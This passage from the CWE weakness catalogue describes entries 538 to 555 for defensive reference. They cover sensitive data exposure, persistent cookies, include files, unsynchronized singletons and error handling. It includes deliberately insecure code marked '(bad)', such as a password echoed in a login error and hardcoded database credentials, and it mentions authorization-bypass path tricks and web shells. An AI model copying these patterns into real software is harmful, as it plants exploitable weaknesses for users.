            BankManager bankMgr = new BankManager();
            boolean isAuthentic = bankMgr.authenticateUser(username, password);
            // If user is authenticated then go to successful login page
            if (isAuthentic) {
                request.setAttribute("login", new String("Login Successful."));
                getServletContext().getRequestDispatcher("/BankManagerServiceLoggedIn.jsp"). forward(request, response);
            }
            else {
                // Otherwise, raise failed login exception and output unsuccessful login message to error page
                throw new FailedLoginException("Failed Login for user " + username + " with password " + password);
            }
        } catch (FailedLoginException ex) {
            // output failed login message to error page
```

```
            request.setAttribute("error", new String("Login Error"));
            request.setAttribute("message", ex.getMessage());
            getServletContext().getRequestDispatcher("/ErrorPage.jsp").forward(request, response);
        }
    }
```

However, the output message generated by the FailedLoginException includes the user-supplied password. Even if the password is erroneous, it is probably close to the correct password. Since it is printed to the user's page, anybody who can see the screen display will be able to see the password. Also, if the page is cached, the password might be written to disk.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

CWE-538: Insertion of Sensitive Information into Externally-Accessible File or Directory

Weakness ID : 538 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product places sensitive information into files or directories that are accessible to actors who are allowed to have access to the files, but not to the sensitive information.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	200	Exposure of Sensitive Information to an Unauthorized Actor	466
ParentOf	B	532	Insertion of Sensitive Information into Log File	1104
ParentOf	B	540	Inclusion of Sensitive Information in Source Code	1113
ParentOf	V	651	Exposure of WSDL File Containing Sensitive Information	1276

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	

Potential Mitigations

Phase: Architecture and Design

Phase: Operation

Phase: System Configuration

Do not expose file and directory information to the user.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	815	OWASP Top Ten 2010 Category A6 - Security Misconfiguration	809	1898
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Notes

Maintenance

Depending on usage, this could be a weakness or a category. Further study of all its children is needed, and the entire sub-tree may need to be clarified. The current organization is based primarily on the exposure of sensitive information as a consequence, instead of as a primary weakness.

Maintenance

There is a close relationship with CWE-552, which is more focused on weaknesses. As a result, it may be more appropriate to convert CWE-538 to a category.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
95	WSDL Scanning

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-539: Use of Persistent Cookies Containing Sensitive Information

Weakness ID : 539 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The web application uses persistent cookies, but the cookies contain sensitive information.

Extended Description

Cookies are small bits of data that are sent by the web application but stored locally in the browser. This lets the application use the cookie to pass information between pages and store variable information. The web application controls what information is stored in a cookie and how it is used. Typical types of information stored in cookies are session identifiers, personalization and customization information, and in rare cases even usernames to enable automated logins. There are two different types of cookies: session cookies and persistent cookies. Session cookies just live in the browser's memory and are not stored anywhere, but persistent cookies are stored on the browser's hard drive. This can cause security and privacy issues depending on the information stored in the cookie and how it is accessed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	552	Files or Directories Accessible to External Parties	1125

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Architecture and Design

Do not store sensitive information in persistent cookies.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	711	1878
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
21	Exploitation of Trusted Credentials
31	Accessing/Intercepting/Modifying HTTP Cookies
39	Manipulating Opaque Client-based Data Tokens
59	Session Credential Falsification through Prediction
60	Reusing Session IDs (aka Session Replay)

CWE-540: Inclusion of Sensitive Information in Source Code

Weakness ID : 540 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

Source code on a web server or repository often contains sensitive information and should generally not be accessible to users.

Extended Description

There are situations where it is critical to remove source code from an area or server. For example, obtaining Perl source code on a system allows an attacker to understand the logic of the script and extract extremely useful information such as code bugs or logins and passwords.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	538	Insertion of Sensitive Information into Externally-Accessible File or Directory	1111
ParentOf	V	531	Inclusion of Sensitive Information in Test Code	1103
ParentOf	V	541	Inclusion of Sensitive Information in an Include File	1114
ParentOf	V	615	Inclusion of Sensitive Information in Source Code Comments	1221

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	199	Information Management Errors	1852

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Architecture and Design

Phase: System Configuration

Recommendations include removing this script from the web server and moving it to a location not accessible from the Internet.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1880
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

CWE-541: Inclusion of Sensitive Information in an Include File

Weakness ID : 541 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

If an include file source is accessible, the file can contain usernames and passwords, as well as sensitive information pertaining to the application and system.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	540	Inclusion of Sensitive Information in Source Code	1113

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Architecture and Design

Do not store sensitive information in include files.

Phase: Architecture and Design

Phase: System Configuration

Protect include files from being exposed.

Demonstrative Examples

Example 1:

The following code uses an include file to store database credentials:

database.inc

Example Language: PHP *(bad)*

```
<?php
$dbName = 'usersDB';
$dbPassword = 'skjdh#67nkjd3$3$';
?>
```

login.php

Example Language: PHP *(bad)*

```
<?php
include('database.inc');
$db = connectToDB($dbName, $dbPassword);
$db.authenticateUser($username, $password);
?>
```

If the server does not have an explicit handler set for .inc files it may send the contents of database.inc to an attacker without pre-processing, if the attacker requests the file directly. This will expose the database name and password. Note this is also an example of CWE-433.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1880
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context

Weakness ID : 543 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software uses the singleton pattern when creating a resource within a multithreaded environment.

Extended Description

The use of a singleton pattern may not be thread-safe.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	820	Missing Synchronization	1512

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Other	
Integrity	Modify Application Data	

Potential Mitigations

Phase: Architecture and Design

Use the Thread-Specific Storage Pattern. See References.

Phase: Implementation

Do not use member fields to store information in the Servlet. In multithreading environments, storing user data in Servlet member fields introduces a data access race condition.

Phase: Implementation

Avoid using the double-checked locking pattern in language versions that cannot guarantee thread safety. This pattern may be used to avoid the overhead of a synchronized call, but in certain versions of Java (for example), this has been shown to be unsafe because it still introduces a race condition (CWE-209).

Effectiveness = Limited

Demonstrative Examples

Example 1:

This method is part of a singleton pattern, yet the following singleton() pattern is not thread-safe. It is possible that the method will create two objects instead of only one.

Example Language: Java *(bad)*

```
private static NumberConverter singleton;
public static NumberConverter get_singleton() {
    if (singleton == null) {
        singleton = new NumberConverter();
    }
    return singleton;
}
```

Consider the following course of events:

- Thread A enters the method, finds singleton to be null, begins the NumberConverter constructor, and then is swapped out of execution.
- Thread B enters the method and finds that singleton remains null. This will happen if A was swapped out during the middle of the constructor, because the object reference is not set to point at the new object on the heap until the object is fully initialized.
- Thread B continues and constructs another NumberConverter object and returns it while exiting the method.
- Thread A continues, finishes constructing its NumberConverter object, and returns its version.

At this point, the threads have created and returned two different objects.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	861	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)	844	1910
MemberOf	C	986	SFP Secondary Cluster: Missing Lock	888	1951

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	MSC07-J		Prevent multiple instantiations of singleton objects
Software Fault Patterns	SFP19		Missing Lock

References

[REF-474]Douglas C. Schmidt, Timothy H. Harrison and Nat Pryce. "Thread-Specifc Storage for C/C++". < http://www.cs.wustl.edu/~schmidt/PDF/TSS-pattern.pdf >.

CWE-544: Missing Standardized Error Handling Mechanism

Weakness ID : 544 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not use a standardized method for handling errors throughout the code, which might introduce inconsistent error handling and resultant weaknesses.

Extended Description

If the application handles error messages individually, on a one-by-one basis, this is likely to result in inconsistent error handling. The causes of errors may be lost. Also, detailed information about the causes of an error may be unintentionally returned to the user.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		755	Improper Handling of Exceptional Conditions	1389

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1012	Cross Cutting	1967

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	389	Error Conditions, Return Values, Status Codes	1863

Common Consequences

Scope	Impact	Likelihood
Integrity	Quality Degradation	
Other	Unexpected State Varies by Context	

Potential Mitigations

Phase: Architecture and Design

define a strategy for handling errors of different severities, such as fatal errors versus basic log events. Use or create built-in language features, or an external package, that provides an easy-to-use API and define coding standards for the detection and handling of errors.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	746	CERT C Secure Coding Standard (2008) Chapter 13 - Error Handling (ERR)	734	1890
MemberOf	C	880	CERT C++ Secure Coding Section 12 - Exceptions and Error Handling (ERR)	868	1919
MemberOf	C	961	SFP Secondary Cluster: Incorrect Exception Behavior	888	1939

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	ERR00-C		Adopt and implement a consistent and comprehensive error-handling policy

CWE-546: Suspicious Comment

Weakness ID : 546 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The code contains comments that suggest the presence of bugs, incomplete functionality, or weaknesses.

Extended Description

Many suspicious comments, such as BUG, HACK, FIXME, LATER, LATER2, TODO, in the code indicate missing security functionality and checking. Others indicate code problems that programmers should fix, such as hard-coded variables, error handling, not using stored procedures, and performance issues.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		1078	Inappropriate Source Code Style or Formatting	1679
PeerOf		615	Inclusion of Sensitive Information in Source Code Comments	1221

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation *Suspicious comments could be an indication that there are problems in the source code that may need to be fixed and is an indication of poor quality. This could lead to further bugs and the introduction of weaknesses.*	

Potential Mitigations

Phase: Documentation

Remove comments that suggest the presence of bugs, incomplete functionality, or weaknesses, before deploying the application.

Demonstrative Examples

Example 1:

The following excerpt demonstrates the use of a suspicious comment in an incomplete code block that may have security repercussions.

Example Language: Java *(bad)*

```
if (user == null) {
    // TODO: Handle null user condition.
}
```

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

CWE-547: Use of Hard-coded, Security-relevant Constants

Weakness ID : 547 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The program uses hard-coded constants instead of symbolic names for security-critical values, which increases the likelihood of mistakes during code maintenance or security policy change.

Extended Description

If the developer does not find all occurrences of the hard-coded constants, an incorrect policy decision may be made if one of the constants is not changed. Making changes to these values will require code changes that may be difficult or impossible once the system is released to the field. In addition, these hard-coded values may become available to attackers if the code is ever disclosed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	1078	Inappropriate Source Code Style or Formatting	1679

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Indirect :

Common Consequences

Scope	Impact	Likelihood
Other	Varies by Context Quality Degradation *The existence of hardcoded constants could cause unexpected behavior and the introduction of weaknesses during code maintenance or when making changes to the code if all occurrences are not modified. The use of hardcoded constants is an indication of poor quality.*	

Potential Mitigations

Phase: Implementation

Avoid using hard-coded constants. Configuration files offer a more flexible solution.

Demonstrative Examples

Example 1:

The usage of symbolic names instead of hard-coded constants is preferred.

The following is an example of using a hard-coded constant instead of a symbolic name.

Example Language: C *(bad)*

```
char buffer[1024];
...
```

```
fgets(buffer, 1024, stdin);
```

If the buffer value needs to be changed, then it has to be altered in more than one place. If the developer forgets or does not find all occurences, in this example it could lead to a buffer overflow.

Example Language: C *(bad)*

```
enum { MAX_BUFFER_SIZE = 1024 };
...
char buffer[MAX_BUFFER_SIZE];
...
fgets(buffer, MAX_BUFFER_SIZE, stdin);
```

In this example the developer will only need to change one value and all references to the buffer size are updated, as a symbolic name is used instead of a hard-coded constant.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	736	CERT C Secure Coding Standard (2008) Chapter 3 - Declarations and Initialization (DCL)	734	1881
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	950	SFP Secondary Cluster: Hardcoded Sensitive Data	888	1936

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	DCL06-C		Use meaningful symbolic constants to represent literal values in program logic

CWE-548: Exposure of Information Through Directory Listing

Weakness ID : 548 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

A directory listing is inappropriately exposed, yielding potentially sensitive information to attackers.

Extended Description

A directory listing provides an attacker with the complete index of all the resources located inside of the directory. The specific risks and consequences vary depending on which files are listed and accessible.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	497	Exposure of Sensitive System Information to an Unauthorized Control Sphere	1062

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories *Exposing the contents of a directory can lead to an attacker gaining access to source code or providing useful information for the attacker to devise exploits, such as creation times of files or any information that may be encoded in file names. The directory listing may also compromise private or confidential data.*	

Potential Mitigations

Phase: Architecture and Design

Phase: System Configuration

Recommendations include restricting access to important directories or files by adopting a need to know requirement for both the document and server root, and turning off features such as Automatic Directory Listings that could expose private files and provide information that could be utilized by an attacker when formulating or conducting an attack.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1880
MemberOf	C	933	OWASP Top Ten 2013 Category A5 - Security Misconfiguration	928	1931
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940
MemberOf	C	1032	OWASP Top Ten 2017 Category A6 - Security Misconfiguration	1026	1977

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management
WASC	16		Directory Indexing

CWE-549: Missing Password Field Masking

Weakness ID : 549 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not mask passwords during entry, increasing the potential for attackers to observe and capture passwords.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	522	Insufficiently Protected Credentials	1091

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	255	Credentials Management Errors	1855
MemberOf	C	355	User Interface Security Issues	1860

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Implementation

Phase: Requirements

Recommendations include requiring all password fields in your web application be masked to prevent other users from seeing this information.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	995	SFP Secondary Cluster: Feature	888	1957

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

CWE-550: Server-generated Error Message Containing Sensitive Information

Weakness ID : 550 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

Certain conditions, such as network failure, will cause a server error message to be displayed.

Extended Description

While error messages in and of themselves are not dangerous, per se, it is what an attacker can glean from them that might cause eventual problems.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	209	Generation of Error Message Containing Sensitive Information	490

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1016	Limit Exposure	1971

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

Potential Mitigations

Phase: Architecture and Design

Phase: System Configuration

Recommendations include designing and adding consistent error handling mechanisms which are capable of handling any user input to your web application, providing meaningful detail to end-users, and preventing error messages that might provide information useful to an attacker from being displayed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization

Weakness ID : 551 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

If a web server does not fully parse requested URLs before it examines them for authorization, it may be possible for an attacker to bypass authorization protection.

Extended Description

For instance, the character strings /./ and / both mean current directory. If /SomeDirectory is a protected directory and an attacker requests /./SomeDirectory, the attacker may be able to gain access to the resource if /./ is not converted to / before the authorization check is performed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	696	Incorrect Behavior Order	1348
ChildOf	C	863	Incorrect Authorization	1573

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1212	Authorization Errors	2013
MemberOf	C	438	Behavioral Problems	1867

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Architecture and Design

URL Inputs should be decoded and canonicalized to the application's current internal representation before being validated and processed for authorization. Make sure that your application does not decode the same input twice. Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	1875
MemberOf	C	949	SFP Secondary Cluster: Faulty Endpoint Authentication	888	1935

CWE-552: Files or Directories Accessible to External Parties

Weakness ID : 552 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The product makes files or directories accessible to unauthorized actors, even though they should not be.

Extended Description

Web servers, FTP servers, and similar servers may store a set of files underneath a "root" directory that is accessible to the server's users. Applications may store sensitive files underneath this root without also using access control to limit which users may request those files, if any. Alternately, an application might package multiple files or directories into an archive file (e.g., ZIP or tar), but the application might not exclude sensitive files that are underneath those directories.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	285	Improper Authorization	623
ChildOf	B	668	Exposure of Resource to Wrong Sphere	1305
ParentOf	V	219	Storage of File with Sensitive Data Under Web Root	509

Nature	Type	ID	Name	Page
ParentOf	V	220	Storage of File With Sensitive Data Under FTP Root	510
ParentOf	V	527	Exposure of Version-Control Repository to an Unauthorized Control Sphere	1099
ParentOf	V	528	Exposure of Core Dump File to an Unauthorized Control Sphere	1100
ParentOf	V	529	Exposure of Access Control List Files to an Unauthorized Control Sphere	1101
ParentOf	V	530	Exposure of Backup File to an Unauthorized Control Sphere	1102
ParentOf	V	539	Use of Persistent Cookies Containing Sensitive Information	1112
ParentOf	V	553	Command Shell in Externally Accessible Directory	1127

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	668	Exposure of Resource to Wrong Sphere	1305

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1011	Authorize Actors	1965

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Files or Directories Modify Files or Directories	

Affected Resources

- File or Directory

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1880
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	1887
MemberOf	C	815	OWASP Top Ten 2010 Category A6 - Security Misconfiguration	809	1898
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	1917
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	1940

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management
CERT C Secure Coding	FIO15-C		Ensure that file operations are performed in a secure directory

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
150	Collect Data from Common Resource Locations
509	Kerberoasting

CAPEC-ID	Attack Pattern Name
639	Probe System Files

CWE-553: Command Shell in Externally Accessible Directory

Weakness ID : 553 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

A possible shell file exists in /cgi-bin/ or other accessible directories. This is extremely dangerous and can be used by an attacker to execute commands on the web server.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	552	Files or Directories Accessible to External Parties	1125

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Execute Unauthorized Code or Commands	

Potential Mitigations

Phase: Installation

Phase: System Configuration

Remove any Shells accessible under the web root folder and children directories.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
650	Upload a Web Shell to a Web Server

CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework

Weakness ID : 554 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The ASP.NET application does not use an input validation framework.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1173	Improper Use of Validation Framework	1722

Weakness Ordinalities

Indirect :

Applicable Platforms

Language : ASP.NET *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State *Unchecked input leads to cross-site scripting, process control, and SQL injection vulnerabilities, among others.*	

Potential Mitigations

Phase: Architecture and Design

Use the ASP.NET validation framework to check all program input before it is processed by the application. Example uses of the validation framework include checking to ensure that: Phone number fields contain only valid characters in phone numbers Boolean values are only "T" or "F" Free-form strings are of a reasonable length and composition

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	711	1880
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP24		Tainted input to command

CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File

Weakness ID : 555 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The J2EE application stores a plaintext password in a configuration file.

Extended Description

Storing a plaintext password in a configuration file allows anyone who can read the file to access the password-protected resource, making it an easy target for attackers.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

